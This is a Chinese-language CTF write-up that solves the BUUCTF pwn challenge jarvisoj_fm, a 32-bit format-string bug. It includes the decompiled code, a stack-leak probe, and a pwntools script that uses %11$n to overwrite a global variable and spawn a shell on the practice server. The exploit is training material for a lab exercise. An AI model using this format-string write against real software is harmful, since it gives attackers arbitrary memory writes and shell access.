buuctf_pwn_jarvisoj-fm_writeup

buuctf pwn 板块 jarvisoj_fm 题目,考察 x86 栈上格式化字符串漏洞

  • checksec
1
2
3
4
5
6
7
[*] '/mnt/hgfs/CTF/Pwn_Study/pwn_exercise/BUUCTF/fm'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
  • IDA32
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[80]; // [esp+2Ch] [ebp-5Ch] BYREF
unsigned int v5; // [esp+7Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
be_nice_to_people();
memset(buf, 0, sizeof(buf));
read(0, buf, 0x50u);
printf(buf);
printf("%d!\n", x);
if ( x == 4 )
{
puts("running sh...");
system("/bin/sh");
}
return 0;
}

x=4 就可以拿到 shell, 看样子因该是格式化字符串漏洞,验证:

1
2
3
4
❯ ./fm
aaaa.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
aaaa.ff98b81c.50.1.0.1.eae9da20.ff98b934.0.ff98ba8b.35.61616161.2e78252e.252e7825.78252e78.2e78252e.252e7825
3!

看到输入的 aaaa 在第十一位输出了 61616161 , 那修改 x 的值就很简单了:

思路

  • 输入 x 的地址
  • 格式化字符串漏洞,利用 %11$n,将四字节( str(4) )写入%11,也就是 x 的地址的值
  • Get shell

解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')

pwnfile= './fm'
# io = process(pwnfile)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
io = remote("node5.buuoj.cn",26848)

x_addr = 0x804A02C
payload = p32(x_addr) + b'%11$n'
io.sendline(payload)

io.interactive()